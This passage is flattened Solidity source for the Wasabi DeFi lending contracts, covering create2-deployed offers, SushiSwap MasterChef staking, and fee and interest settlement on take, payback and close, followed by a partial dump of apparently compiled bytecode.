getRateForOffer(address _offer) external view returns (uint offerFeeRate, uint offerInterestrate); } // Dependency file: contracts/WasabiOffer.sol // pragma solidity >=0.5.16; // import "contracts/libraries/SafeMath.sol"; // import "contracts/libraries/TransferHelper.sol"; // import "contracts/interface/IERC20.sol"; // import "contracts/interface/IWasabi.sol"; // import "contracts/WasabiToken.sol"; interface IMasterChef { function pendingSushi(uint256 _pid, address _user) external view returns (uint256); } contract Offer { using SafeMath for uint256; // enum OfferState {Created, Opened, Taken, Paidback, Expired, Closed} address public wasabi; address public owner; address public taker; address public sushi; uint8 public state = 0; event StateChange( uint256 _prev, uint256 _curr, address from, address to, address indexed token, uint256 indexed amount ); constructor() public { wasabi = msg.sender; } function getState() public view returns (uint256 _state) { _state = uint256(state); } function tranferToken( address token, address to, uint256 amount ) external returns (bool) { require(msg.sender == wasabi, "WASABI OFFER : TRANSFER PERMISSION DENY"); TransferHelper.safeTransfer(token, to, amount); } function initialize( address _owner, address _sushi, uint256 sushiPid, address tokenIn, address masterChef, uint256 amountIn ) external { require(msg.sender == wasabi, "WASABI OFFER : INITIALIZE PERMISSION DENY"); require(state == 0); owner = _owner; sushi = _sushi; state = 1; if (sushiPid > 0) { TransferHelper.safeApprove(tokenIn, masterChef, amountIn); SushiHelper.deposit(masterChef, sushiPid, amountIn); } } function cancel() public returns (uint256 amount) { require(msg.sender == owner, "WASABI OFFER : CANCEL SENDER IS OWNER"); (uint256 _amount, address _masterChef, uint256 _sushiPid) = IWasabi( wasabi ) .offerStatus(); state = 5; if (_sushiPid > 0) { SushiHelper.withdraw(_masterChef, _sushiPid, _amount); } amount = WasabiToken(IWasabi(wasabi).tokenAddress()).mint(msg.sender); IWasabi(wasabi).cancel(msg.sender, sushi); } function take() external { require(state == 1, "WASABI OFFER : TAKE STATE ERROR"); require(msg.sender != owner, "WASABI OFFER : TAKE SENDER IS OWNER"); state = 2; address tokenAddress = IWasabi(wasabi).tokenAddress(); uint256 amountWasabi = WasabiToken(tokenAddress).mint(address(this)); IWasabi(wasabi).take(msg.sender, amountWasabi); taker = msg.sender; } function payback() external { require(state == 2, "WASABI: payback"); state = 3; IWasabi(wasabi).payback(msg.sender); } function close() external returns ( address, address, uint256, uint256 ) { require(state != 5, "WASABI OFFER : TAKE STATE ERROR"); (uint256 _amount, address _masterChef, uint256 _sushiPid) = IWasabi( wasabi ) .offerStatus(); if (_sushiPid > 0) { SushiHelper.withdraw(_masterChef, _sushiPid, _amount); } uint8 oldState = state; state = 5; return IWasabi(wasabi).close(msg.sender, oldState, sushi); } function getEstimatedWasabi() external view returns (uint256 amount) { address tokenAddress = IWasabi(wasabi).tokenAddress(); amount = WasabiToken(tokenAddress).take(); } function getEstimatedSushi() external view returns (uint256 amount) { (, address _masterChef, uint256 _sushiPid) = IWasabi(wasabi) .offerStatus(); amount = IMasterChef(_masterChef).pendingSushi( _sushiPid, address(this) ); } } // Root file: contracts/Wasabi.sol pragma solidity >=0.5.16; // import 'contracts/interface/IERC20.sol'; // import 'contracts/WasabiToken.sol'; // import 'contracts/WasabiOffer.sol'; // import 'contracts/libraries/TransferHelper.sol'; contract Wasabi is UpgradableGovernance { using SafeMath for uint; address public rewardAddress; address public tokenAddress; address public sushiAddress; address public masterChef; address public acceptToken; bytes32 public contractCodeHash; mapping(address => address[]) public allOffers; uint public feeRate; uint public interestRate; mapping(address => uint) public offerStats; mapping(address => address[]) public userOffers; mapping(address => uint) public pool; mapping(address => address[]) public takerOffers; mapping(address => uint) public sushiPids; address[] public tokens; struct OfferStruct { address tokenIn; address tokenOut; uint amountIn; uint amountOut; uint expire; uint interests; uint duration; uint feeRate; uint interestrate; address owner; address taker; address masterChef; uint sushiPid; uint productivity; } mapping(address => OfferStruct) public offers; function setPoolShare(address _token, uint _share) requireGovernor public { if (pool[_token] == 0) { tokens.push(_token); } pool[_token] = _share; } function getTokens() external view returns (address[] memory) { return tokens; } function getTokensLength() external view returns (uint) { return tokens.length; } function setFeeRate(uint _feeRate) requireGovernor public { feeRate = _feeRate; } function setInterestRate(uint _interestRate) requireGovernor public { interestRate = _interestRate; } function setSushiPid(address _token, uint _pid) requireGovernor public { sushiPids[_token] = _pid; } function getRateForOffer(address _offer) external view returns (uint offerFeeRate, uint offerInterestrate) { OfferStruct memory offer = offers[_offer]; offerFeeRate = offer.feeRate; offerInterestrate = offer.interestrate; } event OfferCreated(address indexed _tokenIn, address indexed _tokenOut, uint _amountIn, uint _amountOut, uint _duration, uint _interests, address indexed _offer); event OfferChanged(address indexed _offer, uint _state); constructor(address _rewardAddress, address _wasabiTokenAddress, address _sushiAddress, address _masterChef, address _acceptToken) public { rewardAddress = _rewardAddress; tokenAddress = _wasabiTokenAddress; sushiAddress = _sushiAddress; masterChef = _masterChef; feeRate = 100; interestRate = 1000; acceptToken = _acceptToken; } function createOffer( address[2] memory _addrs, uint[4] memory _uints) public returns(address offer, uint productivity) { require(_addrs[0] != _addrs[1], "WASABI: INVALID TOKEN IN&OUT"); require(_uints[3] < _uints[1], "WASABI: INVALID INTERESTS"); require(pool[_addrs[0]] > 0, "WASABI: INVALID TOKEN"); require(_uints[1] > 0, "WASABI: INVALID AMOUNT OUT"); // require(_tokenOut == 0xdAC17F958D2ee523a2206206994597C13D831ec7, "only support USDT by now."); require(_addrs[1] == acceptToken, "WASABI: ONLY USDT SUPPORTED"); bytes memory bytecode = type(Offer).creationCode; if (uint(contractCodeHash) == 0) { contractCodeHash = keccak256(bytecode); } bytes32 salt = keccak256(abi.encodePacked(msg.sender, _addrs[0], _addrs[1], _uints[0], _uints[1], _uints[2], _uints[3], block.number)); assembly { offer := create2(0, add(bytecode, 32), mload(bytecode), salt) } productivity = pool[_addrs[0]] * _uints[0]; uint sushiPid = sushiPids[_addrs[0]]; offers[offer] = OfferStruct({ productivity:productivity, tokenIn: _addrs[0], tokenOut: _addrs[1], amountIn: _uints[0], amountOut :_uints[1], expire :0, interests:_uints[3], duration:_uints[2], feeRate:feeRate, interestrate:interestRate, owner:msg.sender, taker:address(0), masterChef:masterChef, sushiPid:sushiPid }); WasabiToken(tokenAddress).increaseProductivity(offer, productivity); TransferHelper.safeTransferFrom(_addrs[0], msg.sender, offer, _uints[0]); offerStats[offer] = 1; Offer(offer).initialize(msg.sender, sushiAddress, sushiPid, _addrs[0], masterChef, _uints[0]); allOffers[_addrs[0]].push(offer); userOffers[msg.sender].push(offer); emit OfferCreated(_addrs[0], _addrs[1], _uints[0], _uints[1], _uints[2], _uints[3], offer); } function cancel(address _from, address sushi) external { require(offerStats[msg.sender] != 0, "WASABI: CANCEL OFFER NOT FOUND"); OfferStruct storage offer = offers[msg.sender]; if (offer.productivity > 0) { WasabiToken(tokenAddress).decreaseProductivity(msg.sender, offer.productivity); } if(offer.sushiPid > 0) { Offer(msg.sender).tranferToken(sushi,_from, IERC20(sushi).balanceOf(msg.sender)); } OfferChanged(msg.sender, Offer(msg.sender).state()); } function take(address _from, uint amountWasabi) external { require(offerStats[msg.sender] != 0, "WASABI: TAKE OFFER NOT FOUND"); OfferStruct storage offer = offers[msg.sender]; offer.taker = _from; offer.expire = offer.duration.add(block.number); uint platformFee = offer.amountOut.mul(offer.feeRate).div(10000); uint feeAmount = platformFee.add(offer.interests.mul(offer.interestrate).div(10000)); TransferHelper.safeTransferFrom(offer.tokenOut, _from, rewardAddress, feeAmount); uint amountToOwner = offer.amountOut.sub(offer.interests.add(platformFee)); TransferHelper.safeTransferFrom(offer.tokenOut, _from, offer.owner, amountToOwner); TransferHelper.safeTransferFrom(offer.tokenOut, _from, msg.sender, offer.amountOut.sub(amountToOwner).sub(feeAmount)); WasabiToken(tokenAddress).decreaseProductivity(msg.sender, offer.amountOut); uint amountWasabiTeam = amountWasabi.mul(1).div(10); Offer(msg.sender).tranferToken(tokenAddress, rewardAddress, amountWasabiTeam); Offer(msg.sender).tranferToken(tokenAddress, offer.owner, amountWasabi - amountWasabiTeam); addTakerOffer(msg.sender, _from); OfferChanged(msg.sender, Offer(msg.sender).state()); } function payback(address _from) external { require(offerStats[msg.sender] != 0, "WASABI: PAYBACK OFFER NOT FOUND"); OfferStruct storage offer = offers[msg.sender]; TransferHelper.safeTransferFrom(offer.tokenOut, _from, msg.sender, offer.amountOut); OfferChanged(msg.sender, Offer(msg.sender).state()); } function close(address _from, uint8 _state, address sushi) external returns (address tokenToOwner, address tokenToTaker, uint amountToOwner, uint amountToTaker) { require(offerStats[msg.sender] != 0, "WASABI: CLOSE OFFER NOT FOUND"); OfferStruct storage offer = offers[msg.sender]; require(_state == 3 || block.number >= offer.expire, "WASABI: INVALID STATE"); require(_from == offer.owner || _from == offer.taker, "WASABI: INVALID CALLEE"); if(_state == 3) { amountToTaker = offer.amountOut.add(offer.interests.sub(offer.interests.div(10))); tokenToTaker = offer.tokenOut; Offer(msg.sender).tranferToken(tokenToTaker, offer.taker, amountToTaker); amountToOwner = offer.amountIn; tokenToOwner = offer.tokenIn; Offer(msg.sender).tranferToken(tokenToOwner, offer.owner, amountToOwner); Offer(msg.sender).tranferToken(sushi, offer.owner, IERC20(sushi).balanceOf(msg.sender)); } // deal with if the offer expired. else if(block.number >= offer.expire) { amountToTaker = offer.amountIn; tokenToTaker = offer.tokenIn; Offer(msg.sender).tranferToken(tokenToTaker, offer.taker, amountToTaker); uint amountRest = IERC20(offer.tokenOut).balanceOf(msg.sender); Offer(msg.sender).tranferToken(offer.tokenOut, offer.taker, amountRest); Offer(msg.sender).tranferToken(sushi, offer.taker, IERC20(sushi).balanceOf(msg.sender)); } OfferChanged(msg.sender, Offer(msg.sender).state()); } function offerStatus() external view returns(uint amountIn, address _masterChef, uint sushiPid) { OfferStruct storage offer = offers[msg.sender]; amountIn= offer.amountIn; _masterChef= offer.masterChef; sushiPid= offer.sushiPid; } function getOffer(address _lpToken, uint index) external view returns (address offer) { offer = allOffers[_lpToken][index]; } function getOfferLength(address _lpToken) external view returns (uint length) { length = allOffers[_lpToken].length; } function getUserOffer(address _user, uint _index) external view returns (address) { return userOffers[_user][_index]; } function getUserOffersLength(address _user) external view returns (uint length) { length = userOffers[_user].length; } function addTakerOffer(address _offer, address _user) public returns (uint) { require(msg.sender == _offer, 'WASABI: FORBIDDEN'); takerOffers[_user].push(_offer); return takerOffers[_user].length; } function getTakerOffer(address _user, uint _index) external view returns (address) { return takerOffers[_user][_index]; } function getTakerOffersLength(address _user) external view returns (uint length) { length = takerOffers[_user].length; } }
0x608060405234801561001057600080fd5b50600436106102325760003560e01c806369f39d0b116101305780639d76ea58116100b8578063ac71045e1161007c578063ac71045e14610853578063b0c26ecf1461087f578063bd5fec6514610887578063dc93161b146108b3578063efaa4134146108d957610232565b80639d76ea5814610771578063a087097e14610779578063a19011a6146107a7578063aa6ca808146107d5578063ac3b1d541461082d57610232565b8063824c1db5116100ff578063824c1db5146106db5780638cf57cb9146107095780638d4377011461071157806395330f3a1461073d578063978bbdb91461076957610232565b806369f39d0b146106605780637c3a00fd1461068c5780637c7f84ee1461069457806380f7178f1461069c57610232565b806345596e2e116101be57806356e948971161018257806356e94897146105c3578063575a86b2146105e95780635f84f302146105f15780636361b0b91461060e578063640976341461063457610232565b806345596e2e1461052f5780634b8dc1891461054c5780634f64b2be14610572578063521802081461058f5780635510f804146105bb57610232565b806327eec12c1161020557806327eec12c146103555780632c92540d1461038157806334044ea9146103ad5780633c8c4ab4146103d3578063413bf38f1461043e57610232565b80630c340a2414610237578063156522a81461025b5780631f6ed5f2146102935780631fedded51461032d575b600080fd5b61023f6108e1565b604080516001600160a01b039092168252519081900360200190f35b6102816004803603602081101561027157600080fd5b50356001600160a01b03166108f0565b60408051918252519081900360200190f35b61030a600480360360c08110156102a957600080fd5b6040805180820182529183019291818301918390600290839083908082843760009201919091525050604080516080818101909252929594938181019392509060049083908390808284376000920191909152509194506109029350505050565b604080516001600160a01b03909316835260208301919091528051918290030190f35b6103536004803603602081101561034357600080fd5b50356001600160a01b03166110ba565b005b61023f6004803603604081101561036b57600080fd5b506001600160a01b0381351690602001356111f1565b61023f6004803603604081101561039757600080fd5b506001600160a01b038135169060200135611226565b610353600480360360208110156103c357600080fd5b50356001600160a01b0316611268565b61040c600480360360608110156103e957600080fd5b506001600160a01b03813581169160ff6020820135169160409091013516611393565b604080516001600160a01b03958616815293909416602084015282840191909152606082015290519081900360800190f35b6104646004803603602081101561045457600080fd5b50356001600160a01b0316611ac0565b604051808f6001600160a01b03166001600160a01b031681526020018e6001600160a01b03166001600160a01b031681526020018d81526020018c81526020018b81526020018a8152602001898152602001888152602001878152602001866001600160a01b03166001600160a01b03168152602001856001600160a01b03166001600160a01b03168152602001846001600160a01b03166001600160a01b031681526020018381526020018281526020019e50505050505050505050505050505060405180910390f35b6103536004803603602081101561054557600080fd5b5035611b40565b6102816004803603602081101561056257600080fd5b50356001600160a01b0316611b90565b61023f6004803603602081101561058857600080fd5b5035611bab565b610353600480360360408110156105a557600080fd5b506001600160a01b038135169060200135611bd2565b61023f611ff4565b610281600480360360208110156105d957600080fd5b50356001600160a01b0316612003565b61023f61201e565b6103536004803603602081101561060757600080fd5b503561202d565b6102816004803603602081101561062457600080fd5b50356001600160a01b031661207d565b61023f6004803603604081101561064a57600080fd5b506001600160a01b038135169060200135612098565b61023f6004803603604081101561067657600080fd5b506001600160a01b0381351690602001356120bc565b6102816120d5565b6102816120db565b6106c2600480360360208110156106b257600080fd5b50356001600160a01b03166120e1565b6040805192835260208301919091528051918290030190f35b610353600480360360408110156106f157600080fd5b506001600160a01b03813581169160200135166121b9565b61023f612471565b6103536004803603604081101561072757600080fd5b506001600160a01b038135169060200135612480565b6103536004803603604081101561075357600080fd5b506001600160a01b0381351690602001356124e7565b6102816125b7565b61023f6125bd565b6107816125cc565b604080519384526001600160a01b03909216602084015282820152519081900360600190f35b610281600480360360408110156107bd57600080fd5b506001600160a01b03813581169160200135166125fb565b6107dd612698565b60408051602080825283518183015283519192839290830191858101910280838360005b83811015610819578181015183820152602001610801565b505050509050019250505060405180910390f35b6102816004803603602081101561084357600080fd5b50356001600160a01b03166126fa565b61023f6004803603604081101561086957600080fd5b506001600160a01b03813516906020013561270c565b610281612730565b61023f6004803603604081101561089d57600080fd5b506001600160a01b038135169060200135612736565b610281600480360360208110156108c957600080fd5b50356001600160a01b031661274f565b61023f612761565b6000546001600160a01b031681565b600c6020526000908152604090205481565b6020820151825160009182916001600160a01b039081169116141561096e576040805162461bcd60e51b815260206004820152601c60248201527f5741534142493a20494e56414c494420544f4b454e20494e264f555400000000604482015290519081900360640190fd5b60208301516060840151106109ca576040805162461bcd60e51b815260206004820152601960248201527f5741534142493a20494e56414c494420494e5445524553545300000000000000604482015290519081900360640190fd5b83516001600160a01b03166000908152600c6020526040902054610a2d576040805162461bcd60e51b81526020600482015260156024820152742ba0a9a0a1249d1024a72b20a624a2102a27a5a2a760591b604482015290519081900360640190fd5b6020830151610a83576040805162461bcd60e51b815260206004820152601a60248201527f5741534142493a20494e56414c494420414d4f554e54204f5554000000000000604482015290519081900360640190fd5b6005546001600160a01b031684600160200201516001600160a01b031614610af2576040805162461bcd60e51b815260206004820152601b60248201527f5741534142493a204f4e4c59205553445420535550504f525445440000000000604482015290519081900360640190fd5b606060405180602001610b0490612b07565b601f1982820381018352601f90910116604052600654909150610b2c57805160208201206006555b84516020808701518651878301516040808a01516060808c0151835133831b818a01526bffffffffffffffffffffffff1999831b8a1660348201529690911b9097166048860152605c850193909352607c840191909152609c83019190915260bc8201939093524360dc808301919091528351808303909101815260fc9091019092528151918101919091208251909182919084016000f5855187516001600160a01b039081166000908152600c60209081526040808320548c5185168452600e8352928190205481516101c081019092528c519094168152949850920295509190810188600160200201516001600160a01b0316815260200187600060048110610c3357fe5b6020020151815260200187600160048110610c4a57fe5b602002015181526020016000815260200187600360048110610c6857fe5b6020020151815260200187600260048110610c7f57fe5b6020020151815260200160085481526020016009548152602001336001600160a01b0316815260200160006001600160a01b03168152602001600460009054906101000a90046001600160a01b03166001600160a01b031681526020018281526020018581525060106000876001600160a01b03166001600160a01b0316815260200190815260200160002060008201518160000160006101000a8154816001600160a01b0302191690836001600160a01b0316021790555060208201518160010160006101000a8154816001600160a01b0302191690836001600160a01b0316021790555060408201518160020155606082015181600301556080820151816004015560a0820151816005015560c0820151816006015560e0820151816007015561010082015181600801556101208201518160090160006101000a8154816001600160a01b0302191690836001600160a01b0316021790555061014082015181600a0160006101000a8154816001600160a01b0302191690836001600160a01b0316021790555061016082015181600b0160006101000a8154816001600160a01b0302191690836001600160a01b0316021790555061018082015181600c01556101a082015181600d0155905050600260009054906101000a90046001600160a01b03166001600160a01b03166336f04e4586866040518363ffffffff1660e01b815260040180836001600160a01b03166001600160a01b0316815260200182815260200192505050602060405180830381600087803b158015610ec457600080fd5b505af1158015610ed8573d6000803e3d6000fd5b505050506040513d6020811015610eee57600080fd5b505086518651610f02919033908890612770565b6001600160a01b038581166000818152600a6020526040808220600190556003548b51600480548d51855163d1870db960e01b8152339381019390935293881660248301526044820189905291871660648201529516608486015260a485015251919263d1870db99260c4808301939282900301818387803b158015610f8757600080fd5b505af1158015610f9b573d6000803e3d6000fd5b505050506007600088600060028110610fb057fe5b602090810291909101516001600160a01b0390811683528282019390935260409182016000908120805460018181018355918352838320018054958b166001600160a01b03199687168117909155338352600b845293822080548083018255908352929091209091018054909316821790925590889060200201516001600160a01b031688600060200201516001600160a01b03167f36c3f6c69fed7dbddcd7701fea6488824900b565e80c90302fa051ed24c6621f89600060200201518a600160200201518b600260200201518c600360200201516040518085815260200184815260200183815260200182815260200194505050505060405180910390a45050509250929050565b6000546001600160a01b03163314611105576040805162461bcd60e51b81526020600482015260096024820152682327a92124a22222a760b91b604482015290519081900360640190fd5b6001600160a01b038116611152576040805162461bcd60e51b815260206004820152600f60248201526e494e56414c49445f4144445245535360881b604482015290519081900360640190fd5b6000546001600160a01b03828116911614156111a1576040805162461bcd60e51b81526020600482015260096024820152684e4f5f4348414e474560b81b604482015290519081900360640190fd5b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917fde4b3f61490b74c0ed6237523974fe299126bbbf8a8a7482fd220104c59b0c849190a35050565b6007602052816000526040600020818154811061120a57fe5b6000918252602090912001546001600160a01b03169150829050565b6001600160a01b0382166000908152600d6020526040812080548390811061124a57fe5b6000918252602090912001546001600160a01b031690505b92915050565b336000908152600a60205260409020546112c9576040805162461bcd60e51b815260206004820152601f60248201527f5741534142493a205041594241434b204f46464552204e4f5420464f554e4400604482015290519081900360640190fd5b3360008181526010602052604090206001810154600382015491926112fc926001600160a01b0390921691859190612770565b336001600160a01b0316600080516020613f35833981519152336001600160a01b031663c19d93fb6040518163ffffffff1660e01b815260040160206040518083038186803b15801561134e57600080fd5b505afa158015611362573d6000803e3d6000fd5b505050506040513d602081101561137857600080fd5b50516040805160ff9092168252519081900360200190a25050565b336000908152600a60205260408120548190819081906113fa576040805162461bcd60e51b815260206004820152601d60248201527f5741534142493a20434c4f5345204f46464552204e4f5420464f554e44000000604482015290519081900360640190fd5b336000908152601060205260409020600360ff8816148061141f575080600401544310155b611468576040805162461bcd60e51b81526020600482015260156024820152745741534142493a20494e56414c494420535441544560581b604482015290519081900360640190fd5b60098101546001600160a01b03898116911614806114955750600a8101546001600160a01b038981169116145b6114df576040805162461bcd60e51b81526020600482015260166024820152755741534142493a20494e56414c49442043414c4c454560501b604482015290519081900360640190fd5b8660ff16600314156117695761152b61151a611509600a84600501546128cd90919063ffffffff16565b60058401549063ffffffff61291616565b60038301549063ffffffff61295816565b6001820154600a8301546040805163143fe0eb60e31b81526001600160a01b03938416600482018190529390921660248301526044820184905251919650919350339163a1ff07589160648083019260209291908290030181600087803b15801561159557600080fd5b505af11580156115a9573d6000803e3d6000fd5b505050506040513d60208110156115bf57600080fd5b50506002810154815460098301546040805163143fe0eb60e31b81526001600160a01b03938416600482018190529390921660248301526044820184905251919750919450339163a1ff07589160648083019260209291908290030181600087803b15801561162d57600080fd5b505af1158015611641573d6000803e3d6000fd5b505050506040513d602081101561165757600080fd5b50506009810154604080516370a0823160e01b815233600482018190529151919263a1ff0758928a926001600160a01b03928316928416916370a0823191602480820192602092909190829003018186803b1580156116b557600080fd5b505afa1580156116c9573d6000803e3d6000fd5b505050506040513d60208110156116df57600080fd5b5051604080516001600160e01b031960e087901b1681526001600160a01b0394851660048201529290931660248301526044820152905160648083019260209291908290030181600087803b15801561173757600080fd5b505af115801561174b573d6000803e3d6000fd5b505050506040513d602081101561176157600080fd5b50611a239050565b80600401544310611a235760028101548154600a8301546040805163143fe0eb60e31b81526001600160a01b03938416600482018190529390921660248301526044820184905251919650919350339163a1ff07589160648083019260209291908290030181600087803b1580156117e057600080fd5b505af11580156117f4573d6000803e3d6000fd5b505050506040513d602081101561180a57600080fd5b50506001810154604080516370a0823160e01b815233600482015290516000926001600160a01b0316916370a08231916024808301926020929190829003018186803b15801561185957600080fd5b505afa15801561186d573d6000803e3d6000fd5b505050506040513d602081101561188357600080fd5b50516001830154600a8401546040805163143fe0eb60e31b81526001600160a01b0393841660048201529290911660248301526044820183905251919250339163a1ff0758916064808201926020929091908290030181600087803b1580156118eb57600080fd5b505af11580156118ff573d6000803e3d6000fd5b505050506040513d602081101561191557600080fd5b5050600a820154604080516370a0823160e01b815233600482018190529151919263a1ff0758928b926001600160a01b03928316928416916370a0823191602480820192602092909190829003018186803b15801561197357600080fd5b505afa158015611987573d6000803e3d6000fd5b505050506040513d602081101561199d57600080fd5b5051604080516001600160e01b031960e087901b1681526001600160a01b0394851660048201529290931660248301526044820152905160648083019260209291908290030181600087803b1580156119f557600080fd5b505af1158015611a09573d6000803e3d6000fd5b505050506040513d6020811015611a1f57600080fd5b5050505b336001600160a01b0316600080516020613f35833981519152336001600160a01b031663c19d93fb6040518163ffffffff1660e01b815260040160206040518083038186803b158015611a7557600080fd5b505afa158015611a89573d6000803e3d6000fd5b505050506040513d6020811015611a9f57600080fd5b50516040805160ff9092168252519081900360200190a25093509350935093565b601060205260009081526040902080546001820154600283015460038401546004850154600586015460068701546007880154600889015460098a0154600a8b0154600b8c0154600c8d0154600d909d01546001600160a01b039c8d169d9b8d169c9a9b999a98999798969795969495938516949283169391909216918e565b6000546001600160a01b03163314611b8b576040805162461bcd60e51b81526020600482015260096024820152682327a92124a22222a760b91b604482015290519081900360640190fd5b600855565b6001600160a01b03166000908152600b602052604090205490565b600f8181548110611bb857fe5b6000918252602090912001546001600160a01b0316905081565b336000908152600a6020526040902054611c33576040805162461bcd60e51b815260206004820152601c60248201527f5741534142493a2054414b45204f46464552204e4f5420464f554e4400000000604482015290519081900360640190fd5b336000908152601060205260409020600a810180546001600160a01b0319166001600160a01b0385161790556006810154611c6e9043612958565b600482015560078101546003820154600091611ca49161271091611c98919063ffffffff6129b216565b9063ffffffff6128cd16565b90506000611cd9611ccc612710611c98866008015487600501546129b290919063ffffffff16565b839063ffffffff61295816565b6001808501549054919250611cfd916001600160a01b039182169188911684612770565b6000611d2a611d1984866005015461295890919063ffffffff16565b60038601549063ffffffff61291616565b60018501546009860154919250611d50916001600160a01b039182169189911684612770565b60018401546003850154611d93916001600160a01b03169088903390611d8e908790611d82908863ffffffff61291616565b9063ffffffff61291616565b612770565b60025460038501546040805163257d336b60e11b81523360048201526024810192909252516001600160a01b0390921691634afa66d6916044808201926020929091908290030181600087803b158015611dec57600080fd5b505af1158015611e00573d6000803e3d6000fd5b505050506040513d6020811015611e1657600080fd5b5060009050611e31600a611c9888600163ffffffff6129b216565b6002546001546040805163143fe0eb60e31b81526001600160a01b0393841660048201529290911660248301526044820183905251919250339163a1ff0758916064808201926020929091908290030181600087803b158015611e9357600080fd5b505af1158015611ea7573d6000803e3d6000fd5b505050506040513d6020811015611ebd57600080fd5b505060025460098601546040805163143fe0eb60e31b81526001600160a01b039384166004820152929091166024830152828803604483015251339163a1ff07589160648083019260209291908290030181600087803b158015611f2057600080fd5b505af1158015611f34573d6000803e3d6000fd5b505050506040513d6020811015611f4a57600080fd5b50611f57905033886125fb565b50336001600160a01b0316600080516020613f35833981519152336001600160a01b031663c19d93fb6040518163ffffffff1660e01b815260040160206040518083038186803b158015611faa57600080fd5b505afa158015611fbe573d6000803e3d6000fd5b505050506040513d6020811015611fd457600080fd5b50516040805160ff9092168252519081900360200190a250505050505050565b6005546001600160a01b031681565b6001600160a01b031660009081526007602052604090205490565b6004546001600160a01b031681565b6000546001600160a01b03163314612078576040805162461bcd60e51b81526020600482015260096024820152682327a92124a22222a760b91b604482015290519081900360640190fd5b600955565b6001600160a01b03166000908152600d602052604090205490565b6001600160a01b0382166000908152600b6020526040812080548390811061124a57fe5b600d602052816000526040600020818154811061120a57fe5b60095481565b60065481565b6000806120ec612b14565b5050506001600160a01b0390811660009081526010602090815260409182902082516101c08101845281548516815260018201548516928101929092526002810154928201929092526003820154606082015260048201546080820152600582015460a0820152600682015460c0820152600782015460e082018190526008830154610100830181905260098401548516610120840152600a8401548516610140840152600b840154909416610160830152600c830154610180830152600d909201546101a09091015291565b336000908152600a602052604090205461221a576040805162461bcd60e51b815260206004820152601e60248201527f5741534142493a2043414e43454c204f46464552204e4f5420464f554e440000604482015290519081900360640190fd5b336000908152601060205260409020600d810154156122b957600254600d8201546040805163257d336b60e11b81523360048201526024810192909252516001600160a01b0390921691634afa66d6916044808201926020929091908290030181600087803b15801561228c57600080fd5b505af11580156122a0573d6000803e3d6000fd5b505050506040513d60208110156122b657600080fd5b50505b600c810154156123d957336001600160a01b031663a1ff07588385856001600160a01b03166370a08231336040518263ffffffff1660e01b815260040180826001600160a01b03166001600160a01b0316815260200191505060206040518083038186803b15801561232a57600080fd5b505afa15801561233e573d6000803e3d6000fd5b505050506040513d602081101561235457600080fd5b5051604080516001600160e01b031960e087901b1681526001600160a01b0394851660048201529290931660248301526044820152905160648083019260209291908290030181600087803b1580156123ac57600080fd5b505af11580156123c0573d6000803e3d6000fd5b505050506040513d60208110156123d657600080fd5b50505b336001600160a01b0316600080516020613f35833981519152336001600160a01b031663c19d93fb6040518163ffffffff1660e01b815260040160206040518083038186803b15801561242b57600080fd5b505afa15801561243f573d6000803e3d6000fd5b505050506040513d602081101561245557600080fd5b50516040805160ff9092168252519081900360200190a2505050565b6001546001600160a01b031681565b6000546001600160a01b031633146124cb576040805162461bcd60e51b81526020600482015260096024820152682327a92124a22222a760b91b604482015290519081900360640190fd5b6001600160a01b039091166000908152600e6020526040902055565b6000546001600160a01b03163314612532576040805162461bcd60e51b81526020600482015260096024820152682327a92124a22222a760b91b604482015290519081900360640190fd5b6001600160a01b0382166000908152600c602052604090205461259b57600f80546001810182556000919091527f8d1108e10bcb7c27dddfc02ed9d693a074039d026cf4ea4240b40f7d581ac8020180546001600160a01b0319166001600160a01b0384161790555b6001600160a01b039091166000908152600c6020526040902055565b60085481565b6002546001600160a01b031681565b3360009081526010602052604090206002810154600b820154600c9092015490926001600160a01b0390921691565b6000336001600160a01b0384161461264e576040805162461bcd60e51b81526020600482015260116024820152702ba0a9a0a1249d102327a92124a22222a760791b604482015290519081900360640190fd5b506001600160a01b039081166000818152600d602090815260408220805460018101825581845291832090910180546001600160a01b031916959094169490941790925590525490565b6060600f8054806020026020016040519081016040528092919081815260200182805480156126f057602002820191906000526020600020905b81546001600160a01b031681526001909101906020018083116126d2575b5050505050905090565b600e6020526000908152604090205481565b6001600160a01b038216600090815260076020526040812080548390811061124a57fe5b600f5490565b600b602052816000526040600020818154811061120a57fe5b600a6020526000908152604090205481565b6003546001600160a01b031681565b604080516001600160a01b0385811660248301528481166044830152606480830185905283518084039091018152608490920183526020820180516001600160e01b03166323b872dd60e01b17815292518251600094606094938a169392918291908083835b602083106127f55780518252601f1990920191602091820191016127d6565b6001836020036101000a0380198251168184511680821785525050505050509050019150506000604051808303816000865af19150503d8060008114612857576040519150601f19603f3d011682016040523d82523d6000602084013e61285c565b606091505b509150915081801561288a57508051158061288a575080806020019051602081101561288757600080fd5b50515b6128c55760405162461bcd60e51b8152600401808060200182810382526024815260200180613f556024913960400191505060405180910390fd5b505050505050565b600061290f83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612a0b565b9392505050565b600061290f83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250612aad565b60008282018381101561290f576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b6000826129c157506000611262565b828202828482816129ce57fe5b041461290f5760405162461bcd60e51b8152600401808060200182810382526021815260200180613f146021913960400191505060405180910390fd5b60008183612a975760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b83811015612a5c578181015183820152602001612a44565b50505050905090810190601f168015612a895780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b506000838581612aa357fe5b0495945050505050565b60008184841115612aff5760405162461bcd60e51b8152602060048201818152835160248401528351909283926044909101919085019080838360008315612a5c578181015183820152602001612a44565b505050900390565b61136380612bb183390190565b604051806101c0016040528060006001600160a01b0316815260200160006001600160a01b031681526020016000815260200160008152602001600081526020016000815260200160008152602001600081526020016000815260200160006001600160a01b0316815260200160006001600160a01b0316815260200160006001600160a01b031681526020016000815260200160008152509056fe60806040526003805460ff60a01b1916905534801561001d57600080fd5b50600080546001600160a01b031916331790556113248061003f6000396000f3fe608060405234801561001057600080fd5b50600436106100ea5760003560e01c80638da5cb5b1161008c578063c19d93fb11610066578063c19d93fb146101e3578063d1870db914610201578063e229ecf51461024b578063ea8a1af014610253576100ea565b80638da5cb5b14610189578063930fd51614610191578063a1ff075814610199576100ea565b806343d726d6116100c857806343d726d61461013757806350ee831f14610171578063782b360214610179578063854bec8714610181576100ea565b80630a087903146100ef5780631590